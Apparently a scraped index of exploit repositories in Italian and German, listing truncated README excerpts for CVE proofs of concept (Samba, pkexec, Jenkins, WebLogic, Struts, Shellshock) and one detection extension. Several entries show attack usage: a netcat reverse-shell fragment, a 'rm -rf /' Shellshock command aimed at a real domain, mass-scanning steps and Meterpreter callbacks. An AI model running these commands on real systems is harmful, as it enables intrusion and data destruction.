CVE-2015-1427

CVE-2015-1427 Parametri -u URL singolo -l specifica file URL -c specifica comando...

CVE-2007-2447

CVE-2007-2447 - Samba 3.0.20 &1|nc 10.0.0.1 4242 /tmp/f Verwendung Exploit target 10.129.232.46 on port 445, send back reverse shell to 10.10.14.82 on port 443 python3 CVE-2007-2447.py --rhost 10.129.232.46 --lhost 10.10.14.82 With custom rport and lport python3 CVE-2007-2447.py --rhost...

CVE-2025-54100

CVE-2025-54100 – PoC für das Parsen von PowerShell-Antworten Demonstriert, wie CVE-2025-54100 durch bösartiges HTML-Parsing in Windows PowerShell 5.1 zu Remote Code Execution RCE führt. Was ist CVE-2025-54100? Schwachstellentyp: Befehlsinjizierungsrisiko, wenn Invoke-WebRequest ohne den Parameter...

fwbt

fwbt Writeup: https://www.labs.greynoise.io/grimoire/2024-08-20-bluuid-firewalla/ Codice Proof of Concept per l'interazione con Firewalla tramite Bluetooth Low-Energy e lo sfruttamento di CVE-2024-40892 / CVE-2024-40893 Senza alcuna configurazione, eseguirà la scansione dei Firewalla nelle...

cve-2021-4034

CVE-2021-4034 questo strumento viene utilizzato per pkexec esecuzione di un singolo comando POC whoami test@localhost cc$ ./a.out /usr/bin/whoami execute success : root ping 8.8.8.8 test@localhost cc$ ./a.out /usr/bin/ping 8.8.8.8 execute success : PING 8.8.8.8 8.8.8.8 5684 bytes of data. 64 byte...

CVE-2022-30781

🍵 CVE-2022-30781 Gitea-Repository-Migration Exploit für Remote-Codeausführung. Verwendung 1. Starte einen HTTP-Dateiserver mit den Dateien in diesem Repository. 2. Bearbeite den Befehl, der in api/v1/repos/e99/exp/pulls/1/index.html L96 ausgeführt werden soll. 3. Migriere das Remote-Repository mi...

CVE-2024-23897

CVE-2024-23897 - Strumento di sfruttamento per lettura arbitraria di file Jenkins Installazione CVE-2024-23897 richiede go 1.21 per l'installazione. Eseguire il comando seguente go install github.com/wjlin0/CVE-2024-23897/cmd/CVE-2024-23897@latest Oppure I binari compilati sono disponibili per il...

CVE-2023-1389

TP-Link Archer AX21 - Iniezione di comandi non autenticata Loader POC CVE-2023-1389 Titolo Exploit: TP-Link Archer AX21 - Iniezione di comandi non autenticata Data di scoperta: 25/07/2023 Autore Exploit: Voyag3r How to Use :- Scanning - Use Zmap : zmap -p 80 -o list.txt NetCat Listener - apt...

watchTowr-vs-SysAid-PreAuth-RCE-Chain

PoC della catena RCE PreAuth di SysAid PoC per la catena RCE PreAuth di SysAid CVE-2025-2775, CVE-2025-2776, CVE-2025-2777, CVE-2025-2778 Vedi il nostro post sul blog per i dettagli tecnici https://github.com/user-attachments/assets/03245fab-915d-43b6-8e91-f0a18251af49 PoC in azione python...

CVE-2019-2729

CVE-2019-2729 Codice exploit per CVE-2019-2729 Oracle WebLogic in esecuzione su Windows. Può creare un callback verso un listener CobaltStrike o un handler Metasploit con il payload windows/meterpreter/reversetcp Inoltre è presente un exploit non-beacon che esegue comandi sull'host sottostante...

SyncShield

🔐 SyncShield – Browser-Erweiterung zur Erkennung von CVE-2018-5764 Erkennen Sie unsichere Rsync-Befehle, bevor sie zu Exploits werden Eine leichtgewichtige, datenschutzorientierte Browser-Erweiterung, die im Rahmen des Abschlussprojekts NWS/129/23B entwickelt wurde, um das fehlende...

CVE-2024-23897

Jenkins dispone di un'interfaccia a riga di comando CLI integrata per accedere a Jenkins da uno script o da un ambiente shell. Jenkins utilizza la libreria args4j per analizzare gli argomenti e le opzioni dei comandi sul controller Jenkins durante l'elaborazione dei comandi CLI. Questo parser di...

ShockZaum-CVE-2014-6271

CVE-2014-6271 Script per attaccare la vulnerabilità shellshock ! Usage: ./ShockZaum -u 'https://nasa.gov' -c 'rm -rf /' -p '/cgi-bin/aliens.cgi'...

vsftpd-234-vuln-report

💥 Report sull'Exploit del Backdoor vsftpd 2.3.4 Sfruttamento di una vulnerabilità nota in vsftpd 2.3.4 tramite Metasploit. 📌 Dettagli del Target IP del Target: 192.168.150.133 Servizio: FTP Versione Vulnerabile: vsftpd 2.3.4 Modulo Exploit: exploit/unix/ftp/vsftpd234backdoor Payload: Shell di...

CVE-2017-11882

CVE-2017-11882 43b script originale da https://github.com/embedi/CVE-2017-11882 109b script originale da https://github.com/unamer/CVE-2017-11882/ un applauso, ora il codice di unamer può eseguire shellcode CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/ MITRE...

cve-2020-0688

cve-2020-0688 Ho creato questo script per eseguire CVE-2020-0688 più rapidamente. Aiuta a migliorare il controllo della vulnerabilità, riducendo enormemente i passaggi necessari. Modifica questi input prima di eseguire il file. url = "https://mail.something.com" input 1 command = "cmd /c echo...

CVE-2017-10271

CVE-2017-10271 CVE-2017-10271 Befehlsausführung mit Rückmeldung Direktes Hochladen einer Shell Getestet unter Linux mit WebLogic 10.3.6.0, funktioniert Verwendung und Parameter python weblogicwlswsatexp.py -t IP:7001 usage: weblogicwlswsatexp.py -h -t TARGET -c CMD -o OUTPUT -s SHELL optional...

CVE-2020-8559

Kubernetes CVE-2020-8559 Exploit Proof of Concept PoC Questo è solo a scopo dimostrativo. Da usare esclusivamente su sistemi su cui sei autorizzato a eseguire azioni amministrative e su cui sei autorizzato a sfruttare CVE-2020-8559. Questa è una PoC per CVE-2020-8559. Questa vulnerabilità consent...

CVE-2019-12725-modified-exp

CVE-2019-12725-modified-exp Geändert, um Fehler zu beheben und Befehle mit höheren Rechten auszuführen; zusätzlich wurde das sleep13 im ursprünglichen Skript entfernt, um Zeit zu sparen. references: https://www.modb.pro/db/120391 https://www.exploit-db.com/exploits/49862...

strutsy

Strutsy Strutsy - Massenausnutzung der Apache Struts CVE-2017-5638 Schwachstelle. Enthält blinde und zeitbasierte Code-Injection Techniken, die die Anzahl falscher Negative deutlich reduzieren. Weitere Funktionen umfassen den Massenimport von URLs, um mehrere Ziele auf einmal zu scannen...